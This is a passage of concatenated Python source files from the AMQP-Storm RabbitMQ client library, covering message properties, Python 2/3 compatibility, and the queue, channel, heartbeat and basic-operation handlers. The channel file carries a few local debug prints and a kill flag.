    @property
    def message_id(self):
        """Get AMQP Message attribute: message_id.

        :return:
        """
        return self.properties.get('message_id')

    @message_id.setter
    def message_id(self, value):
        """Set AMQP Message attribute: message_id.

        :return:
        """
        self._update_properties('message_id', value)

    @property
    def content_encoding(self):
        """Get AMQP Message attribute: content_encoding.

        :return:
        """
        return self.properties.get('content_encoding')

    @content_encoding.setter
    def content_encoding(self, value):
        """Set AMQP Message attribute: content_encoding.

        :return:
        """
        self._update_properties('content_encoding', value)

    @property
    def content_type(self):
        """Get AMQP Message attribute: content_type.

        :return:
        """
        return self.properties.get('content_type')

    @content_type.setter
    def content_type(self, value):
        """Set AMQP Message attribute: content_type.

        :return:
        """
        self._update_properties('content_type', value)

    @property
    def correlation_id(self):
        """Get AMQP Message attribute: correlation_id.

        :return:
        """
        return self.properties.get('correlation_id')

    @correlation_id.setter
    def correlation_id(self, value):
        """Set AMQP Message attribute: correlation_id.

        :return:
        """
        self._update_properties('correlation_id', value)

    @property
    def delivery_mode(self):
        """Get AMQP Message attribute: delivery_mode.

        :return:
        """
        return self.properties.get('delivery_mode')

    @delivery_mode.setter
    def delivery_mode(self, value):
        """Set AMQP Message attribute: delivery_mode.

        :return:
        """
        self._update_properties('delivery_mode', value)

    @property
    def timestamp(self):
        """Get AMQP Message attribute: timestamp.

        :return:
        """
        return self.properties.get('timestamp')

    @timestamp.setter
    def timestamp(self, value):
        """Set AMQP Message attribute: timestamp.

        :return:
        """
        self._update_properties('timestamp', value)

    @property
    def priority(self):
        """Get AMQP Message attribute: priority.

        :return:
        """
        return self.properties.get('priority')

    @priority.setter
    def priority(self, value):
        """Set AMQP Message attribute: priority.

        :return:
        """
        self._update_properties('priority', value)

    @property
    def reply_to(self):
        """Get AMQP Message attribute: reply_to.

        :return:
        """
        return self.properties.get('reply_to')

    @reply_to.setter
    def reply_to(self, value):
        """Set AMQP Message attribute: reply_to.

        :return:
        """
        self._update_properties('reply_to', value)

    def json(self):
        """Deserialize the message body, if it is JSON.

        :return:
        """
        return json.loads(self.body)

    def _update_properties(self, name, value):
        """Update properties, and keep cache up-to-date if auto decode is
        enabled.

        :param str name: Key
        :param obj value: Value
        :return:
        """
        if self._auto_decode and 'properties' in self._decode_cache:
            self._decode_cache['properties'][name] = value
        self._properties[name] = value

    def _try_decode_utf8_content(self, content, content_type):
        """Generic function to decode content.

        :param object content:
        :return:
        """
        if not self._auto_decode or not content:
            return content
        if content_type in self._decode_cache:
            return self._decode_cache[content_type]
        if isinstance(content, dict):
            content = self._try_decode_dict(content)
        else:
            content = try_utf8_decode(content)
        self._decode_cache[content_type] = content
        return content

    def _try_decode_dict(self, content):
        """Decode content of a dictionary.

        :param dict content:
        :return:
        """
        result = dict()
        for key, value in content.items():
            key = try_utf8_decode(key)
            if isinstance(value, dict):
                result[key] = self._try_decode_dict(value)
            elif isinstance(value, list):
                result[key] = self._try_decode_list(value)
            elif isinstance(value, tuple):
                result[key] = self._try_decode_tuple(value)
            else:
                result[key] = try_utf8_decode(value)
        return result

    @staticmethod
    def _try_decode_list(content):
        """Decode content of a list.

        :param list|tuple content:
        :return:
        """
        result = list()
        for value in content:
            result.append(try_utf8_decode(value))
        return result

    @staticmethod
    def _try_decode_tuple(content):
        """Decode content of a tuple.

        :param tuple content:
        :return:
        """
        return tuple(Message._try_decode_list(content))






"""Python 2/3 Compatibility layer."""

import sys

try:
    import ssl
except ImportError:
    ssl = None

try:
    import urlparse
except ImportError:
    import urllib.parse as urlparse

PYTHON3 = sys.version_info >= (3, 0, 0)

if PYTHON3:
    RANGE = range
else:
    RANGE = xrange

SSL_CERT_MAP = {}
SSL_VERSIONS = {}
SSL_OPTIONS = [
    'keyfile',
    'certfile',
    'cert_reqs',
    'ssl_version',
    'ca_certs'
]


def get_default_ssl_version():
    """Get the highest support TLS version, if none is available, return None.

    :rtype: bool|None
    """
    if not ssl:
        return None
    elif hasattr(ssl, 'PROTOCOL_TLSv1_2'):
        return ssl.PROTOCOL_TLSv1_2
    elif hasattr(ssl, 'PROTOCOL_TLSv1_1'):
        return ssl.PROTOCOL_TLSv1_1
    elif hasattr(ssl, 'PROTOCOL_TLSv1'):
        return ssl.PROTOCOL_TLSv1
    return None


DEFAULT_SSL_VERSION = get_default_ssl_version()
SSL_SUPPORTED = DEFAULT_SSL_VERSION is not None
if SSL_SUPPORTED:
    if hasattr(ssl, 'PROTOCOL_TLSv1_2'):
        SSL_VERSIONS['protocol_tlsv1_2'] = ssl.PROTOCOL_TLSv1_2
    if hasattr(ssl, 'PROTOCOL_TLSv1_1'):
        SSL_VERSIONS['protocol_tlsv1_1'] = ssl.PROTOCOL_TLSv1_1
    if hasattr(ssl, 'PROTOCOL_TLSv1'):
        SSL_VERSIONS['protocol_tlsv1'] = ssl.PROTOCOL_TLSv1

    SSL_CERT_MAP = {
        'cert_none': ssl.CERT_NONE,
        'cert_optional': ssl.CERT_OPTIONAL,
        'cert_required': ssl.CERT_REQUIRED
    }


def is_string(obj):
    """Is this a string.

    :param object obj:
    :rtype: bool
    """
    if PYTHON3:
        str_type = (bytes, str)
    else:
        str_type = (bytes, str, unicode)
    return isinstance(obj, str_type)


def is_integer(obj):
    """Is this an integer.

    :param object obj:
    :return:
    """
    if PYTHON3:
        return isinstance(obj, int)
    return isinstance(obj, (int, long))


def is_unicode(obj):
    """Is this a unicode string.

        This always returns False if running Python 3.x.

    :param object obj:
    :rtype: bool
    """
    if PYTHON3:
        return False
    return isinstance(obj, unicode)


def try_utf8_decode(value):
    """Try to decode an object.

    :param value:
    :return:
    """
    if not value or not is_string(value):
        return value
    elif PYTHON3 and not isinstance(value, bytes):
        return value
    elif not PYTHON3 and not isinstance(value, unicode):
        return value

    try:
        return value.decode('utf-8')
    except UnicodeDecodeError:
        pass

    return value


def patch_uri(uri):
    """If a custom uri schema is used with python 2.6 (e.g. amqps),
    it will ignore some of the parsing logic.

        As a work-around for this we change the amqp/amqps schema
        internally to use http/https.

    :param str uri: AMQP Connection string
    :rtype: str
    """
    index = uri.find(':')
    if uri[:index] == 'amqps':
        uri = uri.replace('amqps', 'https', 1)
    elif uri[:index] == 'amqp':
        uri = uri.replace('amqp', 'http', 1)
    return uri






"""AMQP-Storm Channel.Queue."""

import logging

from pamqp.specification import Queue as pamqp_queue

from amqpstorm import compatibility
from amqpstorm.base import Handler
from amqpstorm.exception import AMQPInvalidArgument

LOGGER = logging.getLogger(__name__)


class Queue(Handler):
    """AMQP Channel.queue"""
    __slots__ = []

    def declare(self, queue='', passive=False, durable=False,
                exclusive=False, auto_delete=False, arguments=None):
        """Declare a Queue.

        :param str queue:
        :param bool passive:
        :param bool durable:
        :param bool exclusive:
        :param bool auto_delete:
        :param dict arguments:

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :rtype: dict
        """
        if not compatibility.is_string(queue):
            raise AMQPInvalidArgument('queue should be a string')
        elif not isinstance(passive, bool):
            raise AMQPInvalidArgument('passive should be a boolean')
        elif not isinstance(durable, bool):
            raise AMQPInvalidArgument('durable should be a boolean')
        elif not isinstance(exclusive, bool):
            raise AMQPInvalidArgument('exclusive should be a boolean')
        elif not isinstance(auto_delete, bool):
            raise AMQPInvalidArgument('auto_delete should be a boolean')
        elif arguments is not None and not isinstance(arguments, dict):
            raise AMQPInvalidArgument('arguments should be a dict or None')

        declare_frame = pamqp_queue.Declare(queue=queue,
                                            passive=passive,
                                            durable=durable,
                                            exclusive=exclusive,
                                            auto_delete=auto_delete,
                                            arguments=arguments)
        return self._channel.rpc_request(declare_frame)

    def delete(self, queue='', if_unused=False, if_empty=False):
        """Delete a Queue.

        :param str queue:
        :param bool if_unused: Delete only if unused
        :param bool if_empty: Delete only if empty

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :rtype: dict
        """
        if not compatibility.is_string(queue):
            raise AMQPInvalidArgument('queue should be a string')
        elif not isinstance(if_unused, bool):
            raise AMQPInvalidArgument('if_unused should be a boolean')
        elif not isinstance(if_empty, bool):
            raise AMQPInvalidArgument('if_empty should be a boolean')

        delete_frame = pamqp_queue.Delete(queue=queue, if_unused=if_unused,
                                          if_empty=if_empty)
        return self._channel.rpc_request(delete_frame)

    def purge(self, queue=''):
        """Purge a Queue.

        :param str queue:

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :rtype: dict
        """
        if not compatibility.is_string(queue):
            raise AMQPInvalidArgument('queue should be a string')

        purge_frame = pamqp_queue.Purge(queue=queue)

        return self._channel.rpc_request(purge_frame)

    def bind(self, queue='', exchange='', routing_key='', arguments=None):
        """Bind a Queue.

        :param str queue:
        :param str exchange:
        :param str routing_key:
        :param dict arguments:

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :rtype: dict
        """
        if not compatibility.is_string(queue):
            raise AMQPInvalidArgument('queue should be a string')
        elif not compatibility.is_string(exchange):
            raise AMQPInvalidArgument('exchange should be a string')
        elif not compatibility.is_string(routing_key):
            raise AMQPInvalidArgument('routing_key should be a string')
        elif arguments is not None and not isinstance(arguments, dict):
            raise AMQPInvalidArgument('arguments should be a dict or None')

        bind_frame = pamqp_queue.Bind(queue=queue,
                                      exchange=exchange,
                                      routing_key=routing_key,
                                      arguments=arguments)
        return self._channel.rpc_request(bind_frame)

    def unbind(self, queue='', exchange='', routing_key='', arguments=None):
        """Unbind a Queue.

        :param str queue:
        :param str exchange:
        :param str routing_key:
        :param dict arguments:

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :rtype: dict
        """
        if not compatibility.is_string(queue):
            raise AMQPInvalidArgument('queue should be a string')
        elif not compatibility.is_string(exchange):
            raise AMQPInvalidArgument('exchange should be a string')
        elif not compatibility.is_string(routing_key):
            raise AMQPInvalidArgument('routing_key should be a string')
        elif arguments is not None and not isinstance(arguments, dict):
            raise AMQPInvalidArgument('arguments should be a dict or None')

        unbind_frame = pamqp_queue.Unbind(queue=queue,
                                          exchange=exchange,
                                          routing_key=routing_key,
                                          arguments=arguments)
        return self._channel.rpc_request(unbind_frame)






"""AMQP-Storm Connection.Channel."""

import logging
import multiprocessing
from time import sleep

from pamqp import specification as pamqp_spec
from pamqp.header import ContentHeader

from amqpstorm import compatibility
from amqpstorm.base import BaseChannel
from amqpstorm.base import IDLE_WAIT
from amqpstorm.basic import Basic
from amqpstorm.compatibility import try_utf8_decode
from amqpstorm.exception import AMQPChannelError
from amqpstorm.exception import AMQPConnectionError
from amqpstorm.exception import AMQPInvalidArgument
from amqpstorm.exception import AMQPMessageError
from amqpstorm.exchange import Exchange
from amqpstorm.message import Message
from amqpstorm.queue import Queue
from amqpstorm.rpc import Rpc
from amqpstorm.tx import Tx

LOGGER = logging.getLogger(__name__)
CONTENT_FRAME = ['Basic.Deliver', 'ContentHeader', 'ContentBody']


class Channel(BaseChannel):
    """Connection.channel"""
    __slots__ = [
        'confirming_deliveries', 'consumer_callback', 'rpc', '_basic',
        '_connection', '_exchange', '_inbound', '_queue', '_tx', '_die'
    ]

    def __init__(self, channel_id, connection, rpc_timeout):
        super(Channel, self).__init__(channel_id)
        self.rpc = Rpc(self, timeout=rpc_timeout)
        self.confirming_deliveries = False
        self.consumer_callback = None
        self._inbound = []
        self._connection = connection
        self._basic = Basic(self)
        self._exchange = Exchange(self)
        self._tx = Tx(self)
        self._queue = Queue(self)

        self._die = multiprocessing.Value("b", 0)

    def __enter__(self):
        return self

    def __exit__(self, exception_type, exception_value, _):
        if exception_type:
            LOGGER.warning('Closing channel due to an unhandled exception: %s',
                           exception_value)
        if not self.is_open:
            return
        self.close()

    def __int__(self):
        return self._channel_id

    @property
    def basic(self):
        """RabbitMQ Basic Operations.

        :rtype: Basic
        """
        # print("Access to basic?")
        return self._basic

    @property
    def exchange(self):
        """RabbitMQ Exchange Operations.

        :rtype: Exchange
        """
        return self._exchange

    @property
    def tx(self):
        """RabbitMQ Tx Operations.

        :rtype: Tx
        """
        return self._tx

    @property
    def queue(self):
        """RabbitMQ Queue Operations.

        :rtype: Queue
        """
        return self._queue

    def build_inbound_messages(self, break_on_empty=False, to_tuple=False):
        """Build messages in the inbound queue.

        :param bool break_on_empty: Should we break the loop when there are
                                    no more messages to consume.
        :param bool to_tuple: Should incoming messages be converted to a
                              tuple before delivery.

        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :rtype: :py:class:`generator`
        """
        self.check_for_errors()
        while not self.is_closed:
            # print("build_inbound_messages looping!")
            if self._die.value != 0:
                return
            message = self._build_message()
            if not message:
                if break_on_empty:
                    break
                self.check_for_errors()
                sleep(IDLE_WAIT)
                continue
            if to_tuple:
                yield message.to_tuple()
                continue
            yield message

    def kill(self):
        self._die.value = 1
        self.set_state(self.CLOSED)

    def close(self, reply_code=0, reply_text=''):
        """Close Channel.

        :param int reply_code: Close reply code (e.g. 200)
        :param str reply_text: Close reply text

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :return:
        """
        LOGGER.debug('Channel #%d Closing', self.channel_id)
        if not compatibility.is_integer(reply_code):
            raise AMQPInvalidArgument('reply_code should be an integer')
        elif not compatibility.is_string(reply_text):
            raise AMQPInvalidArgument('reply_text should be a string')

        if not self._connection.is_open or not self.is_open:
            self.remove_consumer_tag()
            self.set_state(self.CLOSED)
            return
        self.set_state(self.CLOSING)
        self.stop_consuming()
        self.rpc_request(pamqp_spec.Channel.Close(
            reply_code=reply_code,
            reply_text=reply_text))
        del self._inbound[:]
        self.set_state(self.CLOSED)
        LOGGER.debug('Channel #%d Closed', self.channel_id)

    def check_for_errors(self):
        """Check connection and channel for errors.

        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.
        :return:
        """
        if self._connection.exceptions or self._connection.is_closed:
            self.set_state(self.CLOSED)
            why = AMQPConnectionError('connection was closed')
            if self._connection.exceptions:
                why = self._connection.exceptions[0]
            raise why

        if self.exceptions:
            exception = self.exceptions[0]
            if self.is_open:
                self.exceptions.pop(0)
            raise exception

        if self.is_closed:
            raise AMQPChannelError('channel was closed')

    def confirm_deliveries(self):
        """Set the channel to confirm that each message has been
        successfully delivered.

        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :return:
        """
        self.confirming_deliveries = True
        confirm_frame = pamqp_spec.Confirm.Select()
        return self.rpc_request(confirm_frame)

    def on_frame(self, frame_in):
        """Handle frame sent to this specific channel.

        :param pamqp.Frame frame_in: Amqp frame.
        :return:
        """
        # print("on_frame: ", frame_in.name)
        if self.rpc.on_frame(frame_in):
            return

        if frame_in.name in CONTENT_FRAME:
            self._inbound.append(frame_in)
        elif frame_in.name == 'Basic.Cancel':
            self._basic_cancel(frame_in)
        elif frame_in.name == 'Basic.CancelOk':
            self.remove_consumer_tag(frame_in.consumer_tag)
        elif frame_in.name == 'Basic.ConsumeOk':
            self.add_consumer_tag(frame_in['consumer_tag'])
        elif frame_in.name == 'Basic.Return':
            self._basic_return(frame_in)
        elif frame_in.name == 'Channel.Close':
            self._close_channel(frame_in)
        elif frame_in.name == 'Channel.Flow':
            self.write_frame(pamqp_spec.Channel.FlowOk(frame_in.active))
        else:
            print("Did not know how to handle frame?")
            LOGGER.error('[Channel%d] Unhandled Frame: %s -- %s',
                         self.channel_id, frame_in.name, dict(frame_in))

    def open(self):
        """Open Channel.

        :return:
        """
        self._inbound = []
        self._exceptions = []
        self.set_state(self.OPENING)
        self.rpc_request(pamqp_spec.Channel.Open())
        self.set_state(self.OPEN)

    def process_data_events(self, to_tuple=True):
        """Consume inbound messages.

            This is only required when consuming messages. All other
            events are automatically handled in the background.

        :param bool to_tuple: Should incoming messages be converted to a
                              tuple before delivery.

        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :return:
        """
        # print("process_data_events")
        if not self.consumer_callback:
            raise AMQPChannelError('no consumer_callback defined')
        for message in self.build_inbound_messages(break_on_empty=True):
            if self._die.value != 0:
                return

            if not to_tuple:
                # noinspection PyCallingNonCallable
                self.consumer_callback(message)
                continue
            # noinspection PyCallingNonCallable
            self.consumer_callback(*message.to_tuple())
        sleep(IDLE_WAIT)

    def rpc_request(self, frame_out):
        """Perform a RPC Request.

        :param pamqp_spec.Frame frame_out: Amqp frame.
        :rtype: dict
        """
        # print('rpc_request')
        with self.rpc.lock:
            uuid = self.rpc.register_request(frame_out.valid_responses)
            self.write_frame(frame_out)
            return self.rpc.get_request(uuid)

    def start_consuming(self, to_tuple=True):
        """Start consuming messages.

        :param bool to_tuple: Should incoming messages be converted to a
                              tuple before delivery.

        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :return:
        """
        while self.consumer_tags:
            closed = self.is_closed
            if closed:
                break
            if self._die.value != 0:
                break
            self.process_data_events(to_tuple=to_tuple)
            # print("start_consuming looping (state: %s)" % (self._state, ))
    def stop_consuming(self):
        """Stop consuming messages.

        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :return:
        """
        if not self.consumer_tags:
            return
        for tag in self.consumer_tags:
            self.basic.cancel(tag)
        self.remove_consumer_tag()

    def write_frame(self, frame_out):
        """Write a pamqp frame from the current channel.

        :param pamqp_spec.Frame frame_out: A single pamqp frame.
        :return:
        """
        self.check_for_errors()
        self._connection.write_frame(self.channel_id, frame_out)

    def write_frames(self, frames_out):
        """Write multiple pamqp frames from the current channel.

        :param list frames_out: A list of pamqp frames.
        :return:
        """
        self.check_for_errors()
        self._connection.write_frames(self.channel_id, frames_out)

    def _basic_cancel(self, frame_in):
        """Handle a Basic Cancel frame.

        :param pamqp_spec.Basic.Cancel frame_in: Amqp frame.
        :return:
        """
        LOGGER.warning('Received Basic.Cancel on consumer_tag: %s',
                       try_utf8_decode(frame_in.consumer_tag))
        self.remove_consumer_tag(frame_in.consumer_tag)

    def _basic_return(self, frame_in):
        """Handle a Basic Return Frame and treat it as an error.

        :param pamqp_spec.Basic.Return frame_in: Amqp frame.
        :return:
        """
        reply_text = try_utf8_decode(frame_in.reply_text)
        message = ("Message not delivered: %s (%s) to queue '%s' "
                   "from exchange '%s'" % (reply_text,
                                           frame_in.reply_code,
                                           frame_in.routing_key,
                                           frame_in.exchange))
        exception = AMQPMessageError(message,
                                     reply_code=frame_in.reply_code)
        self.exceptions.append(exception)

    def _build_message(self):
        """Fetch and build a complete Message from the inbound queue.

        :rtype: Message
        """
        # print("_build_message call")
        with self.lock:
            if len(self._inbound) < 2:
                return None
            headers = self._build_message_headers()
            if not headers:
                return None
            basic_deliver, content_header = headers
            body = self._build_message_body(content_header.body_size)

        message = Message(channel=self,
                          body=body,
                          method=dict(basic_deliver),
                          properties=dict(content_header.properties))
        return message

    def _build_message_headers(self):
        """Fetch Message Headers (Deliver & Header Frames).

        :rtype: tuple|None
        """
        basic_deliver = self._inbound.pop(0)
        if not isinstance(basic_deliver, pamqp_spec.Basic.Deliver):
            LOGGER.warning('Received an out-of-order frame: %s was '
                           'expecting a Basic.Deliver frame',
                           type(basic_deliver))
            return None
        content_header = self._inbound.pop(0)
        if not isinstance(content_header, ContentHeader):
            LOGGER.warning('Received an out-of-order frame: %s was '
                           'expecting a ContentHeader frame',
                           type(content_header))
            return None

        return basic_deliver, content_header

    def _build_message_body(self, body_size):
        """Build the Message body from the inbound queue.

        :rtype: str
        """
        body = bytes()
        while len(body) < body_size:
            if not self._inbound:
                sleep(IDLE_WAIT)
                continue
            body_piece = self._inbound.pop(0)
            if not body_piece.value:
                break
            body += body_piece.value
        return body

    def _close_channel(self, frame_in):
        """Close Channel.

        :param pamqp_spec.Channel.Close frame_in: Amqp frame.
        :return:
        """
        self.remove_consumer_tag()
        if frame_in.reply_code != 200:
            reply_text = try_utf8_decode(frame_in.reply_text)
            message = 'Channel %d was closed by remote server: %s' % \
                      (self._channel_id, reply_text)
            exception = AMQPChannelError(message,
                                         reply_code=frame_in.reply_code)
            self.exceptions.append(exception)
        del self._inbound[:]
        self.set_state(self.CLOSED)






"""AMQP-Storm Connection.Heartbeat."""

import logging
import threading

from amqpstorm.exception import AMQPConnectionError

LOGGER = logging.getLogger(__name__)


class Heartbeat(object):
    """AMQP Internal Heartbeat Checker"""

    def __init__(self, interval, send_heartbeat):
        self.send_heartbeat = send_heartbeat
        self._lock = threading.Lock()
        self._running = threading.Event()
        self._timer = None
        self._exceptions = None
        self._reads_since_check = 0
        self._writes_since_check = 0
        self._interval = interval
        self._threshold = 0

    def register_read(self):
        """Register that a frame has been received.

        :return:
        """
        self._reads_since_check += 1

    def register_write(self):
        """Register that a frame has been sent.

        :return:
        """
        self._writes_since_check += 1

    def start(self, exceptions):
        """Start the Heartbeat Checker.

        :param list exceptions:
        :return:
        """
        if not self._interval:
            return
        with self._lock:
            self._running.set()
            self._threshold = 0
            self._reads_since_check = 0
            self._writes_since_check = 0
        self._exceptions = exceptions
        LOGGER.debug('Heartbeat Checker Started')
        self._start_new_timer()

    def stop(self):
        """Stop the Heartbeat Checker.

        :return:
        """
        self._running.clear()
        if self._timer:
            self._timer.cancel()
        self._timer = None

    def _check_for_life_signs(self):
        """Check Connection for life signs.

            First check if any data has been sent, if not send a heartbeat
            to the remote server.

            If we have not received any data what so ever within two
            intervals, we need to raise an exception so that we can
            close the connection.

        :rtype: bool
        """
        if not self._running.is_set():
            return False
        self._lock.acquire()
        try:
            if self._writes_since_check == 0:
                self.send_heartbeat()
            if self._reads_since_check == 0:
                self._threshold += 1
                if self._threshold >= 2:
                    self._running.set()
                    message = ('Connection dead, no heartbeat or data received'
                               ' in >= %ds' % (self._interval * 2))
                    why = AMQPConnectionError(message)
                    if self._exceptions is None:
                        raise why
                    self._exceptions.append(why)
                    return False
            else:
                self._threshold = 0
        finally:
            self._reads_since_check = 0
            self._writes_since_check = 0
            self._lock.release()
        self._start_new_timer()
        return True

    def _start_new_timer(self):
        """Create a timer that will check for life signs on our Connection.

        :return:
        """
        if not self._running.is_set():
            return
        self._timer = threading.Timer(interval=self._interval,
                                      function=self._check_for_life_signs)
        self._timer.daemon = True
        self._timer.start()






"""AMQP-Storm Channel.Basic."""

import logging
import math

from pamqp import body as pamqp_body
from pamqp import header as pamqp_header
from pamqp import specification as pamqp_spec

from amqpstorm import compatibility
from amqpstorm.base import FRAME_MAX
from amqpstorm.base import Handler
from amqpstorm.exception import AMQPChannelError
from amqpstorm.exception import AMQPInvalidArgument
from amqpstorm.message import Message

LOGGER = logging.getLogger(__name__)


class Basic(Handler):
    """AMQP Channel.basic"""
    __slots__ = []

    def qos(self, prefetch_count=0, prefetch_size=0, global_=False):
        """Specify quality of service.

        :param int prefetch_count: Prefetch window in messages
        :param int/long prefetch_size: Prefetch window in octets
        :param bool global_: Apply to entire connection

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :rtype: dict
        """
        if not compatibility.is_integer(prefetch_count):
            raise AMQPInvalidArgument('prefetch_count should be an integer')
        elif not compatibility.is_integer(prefetch_size):
            raise AMQPInvalidArgument('prefetch_size should be an integer')
        elif not isinstance(global_, bool):
            raise AMQPInvalidArgument('global_ should be a boolean')
        qos_frame = pamqp_spec.Basic.Qos(prefetch_count=prefetch_count,
                                         prefetch_size=prefetch_size,
                                         global_=global_)
        return self._channel.rpc_request(qos_frame)

    def get(self, queue='', no_ack=False, to_dict=True):
        """Fetch a single message.

        :param str queue: Queue name
        :param bool no_ack: No acknowledgement needed
        :param bool to_dict: Should incoming messages be converted to a
                    dictionary before delivery.

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :returns: Returns a single message, as long as there is a message in
                  the queue. If no message is available, returns None.

        :rtype: dict|Message|None
        """
        if not compatibility.is_string(queue):
            raise AMQPInvalidArgument('queue should be a string')
        elif not isinstance(no_ack, bool):
            raise AMQPInvalidArgument('no_ack should be a boolean')
        elif self._channel.consumer_tags:
            raise AMQPChannelError("Cannot call 'get' when channel is "
                                   "set to consume")
        get_frame = pamqp_spec.Basic.Get(queue=queue,
                                         no_ack=no_ack)
        with self._channel.lock and self._channel.rpc.lock:
            message = self._get_message(get_frame)
            if message and to_dict:
                return message.to_dict()
            return message

    def recover(self, requeue=False):
        """Redeliver unacknowledged messages.

        :param bool requeue: Requeue the messages

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :rtype: dict
        """
        if not isinstance(requeue, bool):
            raise AMQPInvalidArgument('requeue should be a boolean')
        recover_frame = pamqp_spec.Basic.Recover(requeue=requeue)
        return self._channel.rpc_request(recover_frame)

    def consume(self, callback=None, queue='', consumer_tag='',
                exclusive=False, no_ack=False, no_local=False, arguments=None):
        """Start a queue consumer.

        :param function callback: Message callback
        :param str queue: Queue name
        :param str consumer_tag: Consumer tag
        :param bool no_local: Do not deliver own messages
        :param bool no_ack: No acknowledgement needed
        :param bool exclusive: Request exclusive access
        :param dict arguments: Arguments for declaration

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :returns: Consumer tag
        :rtype: str
        """
        if not compatibility.is_string(queue):
            raise AMQPInvalidArgument('queue should be a string')
        elif not compatibility.is_string(consumer_tag):
            raise AMQPInvalidArgument('consumer_tag should be a string')
        elif not isinstance(exclusive, bool):
            raise AMQPInvalidArgument('exclusive should be a boolean')
        elif not isinstance(no_ack, bool):
            raise AMQPInvalidArgument('no_ack should be a boolean')
        elif not isinstance(no_local, bool):
            raise AMQPInvalidArgument('no_local should be a boolean')
        elif arguments is not None and not isinstance(arguments, dict):
            raise AMQPInvalidArgument('arguments should be a dict or None')
        self._channel.consumer_callback = callback
        consume_rpc_result = self._consume_rpc_request(arguments, consumer_tag,
                                                       exclusive, no_ack,
                                                       no_local, queue)
        return self._consume_add_and_get_tag(consume_rpc_result)

    def cancel(self, consumer_tag=''):
        """Cancel a queue consumer.

        :param str consumer_tag: Consumer tag

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :rtype: dict
        """
        if not compatibility.is_string(consumer_tag):
            raise AMQPInvalidArgument('consumer_tag should be a string')
        cancel_frame = pamqp_spec.Basic.Cancel(consumer_tag=consumer_tag)
        result = self._channel.rpc_request(cancel_frame)
        self._channel.remove_consumer_tag(consumer_tag)
        return result

    def publish(self, body, routing_key, exchange='', properties=None,
                mandatory=False, immediate=False):
        """Publish a Message.

        :param str|unicode body: Message payload
        :param str routing_key: Message routing key
        :param str exchange: The exchange to publish the message to
        :param dict properties: Message properties
        :param bool mandatory: Requires the message is published
        :param bool immediate: Request immediate delivery

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :rtype: bool|None
        """
        self._validate_publish_parameters(body, exchange, immediate, mandatory,
                                          properties, routing_key)
        properties = properties or {}
        body = self._handle_utf8_payload(body, properties)
        properties = pamqp_spec.Basic.Properties(**properties)
        method_frame = pamqp_spec.Basic.Publish(exchange=exchange,
                                                routing_key=routing_key,
                                                mandatory=mandatory,
                                                immediate=immediate)
        header_frame = pamqp_header.ContentHeader(body_size=len(body),
                                                  properties=properties)

        frames_out = [method_frame, header_frame]
        for body_frame in self._create_content_body(body):
            frames_out.append(body_frame)

        if self._channel.confirming_deliveries:
            with self._channel.rpc.lock:
                return self._publish_confirm(frames_out)
        self._channel.write_frames(frames_out)

    def ack(self, delivery_tag=None, multiple=False):
        """Acknowledge Message.

        :param int/long delivery_tag: Server-assigned delivery tag
        :param bool multiple: Acknowledge multiple messages

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :return:
        """
        if delivery_tag is not None \
                and not compatibility.is_integer(delivery_tag):
            raise AMQPInvalidArgument('delivery_tag should be an integer '
                                      'or None')
        elif not isinstance(multiple, bool):
            raise AMQPInvalidArgument('multiple should be a boolean')
        ack_frame = pamqp_spec.Basic.Ack(delivery_tag=delivery_tag,
                                         multiple=multiple)
        self._channel.write_frame(ack_frame)

    def nack(self, delivery_tag=None, multiple=False, requeue=True):
        """Negative Acknowledgement.

        :param int/long delivery_tag: Server-assigned delivery tag
        :param bool multiple: Negative acknowledge multiple messages
        :param bool requeue: Requeue message

        :raises AMQPInvalidArgument: Invalid Parameters
        :raises AMQPChannelError: Raises if the channel encountered an error.
        :raises AMQPConnectionError: Raises if the connection
                                     encountered an error.

        :return:
        """
        if delivery_tag is not None \
                and not compatibility.is_integer(delivery_tag):
